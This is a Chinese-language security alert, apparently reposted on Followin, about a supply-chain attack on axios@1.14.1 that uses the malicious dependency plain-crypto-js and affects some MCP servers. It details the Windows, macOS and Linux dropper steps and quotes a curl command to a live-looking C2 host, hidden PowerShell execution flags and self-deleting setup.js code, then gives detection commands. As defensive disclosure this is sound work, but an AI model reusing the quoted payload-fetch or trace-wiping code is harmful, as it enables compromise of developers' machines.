⚠️⚠️⚠️ 紧急通告⚠️⚠️⚠️ 各位开发者 特别是Nodejs 使用 axios库的时候 检查下 axios 版本 补充一下 不仅仅是开发人员 使用了AI Cli(例如codex claude code) 并且调用了 open-websearch 等MCP的也要自查 使用 npx 安装的 latest 版本的时候会安装 axios@1.14.1 此版本存在供应链投毒 恶意包 │ plain-crypto-js@4.2.1(伪装 crypto-js) 投毒的 axios │ axios@1.14.1(被篡改,加入了 plain-crypto-js 依赖) 受影响的 MCP │ open-websearch 和 exa-mcp-server 的 npx 缓存 恶意行为 │ 复制 PowerShell 为 wt.exe,执行远程载荷后自删除 攻击行为详解 C2 服务器 : http:/sfrclak.com:8000/6202033 三平台全覆盖的攻击 Windows : 1. where powershell → 找到 powershell.exe 路径 2. 复制 powershell.exe → C:\ProgramData\wt.exe (伪装成 Windows Terminal) 3. 写入 VBS 脚本到 %TEMP%\6202033.vbs: - 用 curl 从 C2 下载载荷: curl -s -X POST -d "packages.npm.org/product1" "http:/sfrclak.com:8000/6202033" - 保存为 .ps1 文件 - 用伪装的 wt.exe (实际是 PowerShell) 隐窗执行: -w hidden -ep bypass - 执行完删除 .ps1 4. 用 cscript 静默执行 VBS,执行完删除 VBS macOS: 1. curl 从 C2 下载二进制到 /Library/Caches/com.apple.act.mond (伪装成系统进程) 2. chmod 770 赋权 3. 后台执行,连回 C2 4. 通过 osascript (AppleScript) 执行,删除痕迹 Linux: 1. curl 从 C2 下载 Python 脚本到 /tmp/ld.py 2. nohup 后台执行,连回 C2 最后的毁尸灭迹 // 删除 setup.js 自身 fs.unlink(__filename, (x=>{})); // 把 package.md 重命名为 package.json,覆盖掉含 postinstall 的原始 package.json fs.rename("package.md", "package.json", (x=>{})); 连 package.json 都替换了,事后检查依赖根本看不出 postinstall 曾经存在过。 快速排查 npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" 请检查plain-crypto-js以下内容node_modules: ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED" 如果该程序setup.js已经运行,package.json则此目录中的内容将被替换为干净的存根文件。 该目录的存在足以证明投放器已执行。 检查受影响系统上是否存在 RAT 痕迹: # macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED":: Windows (cmd.exe) dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED 这是一个不到 24 小时前发生的 0-day 供应链攻击(2026-03-31),目前 npm 和安全社区尚未公开披露。

相关赛道:
Telegram
免责声明:以上内容仅为作者观点,不代表Followin的任何立场,不构成与Followin相关的任何投资建议。
喜欢
收藏
评论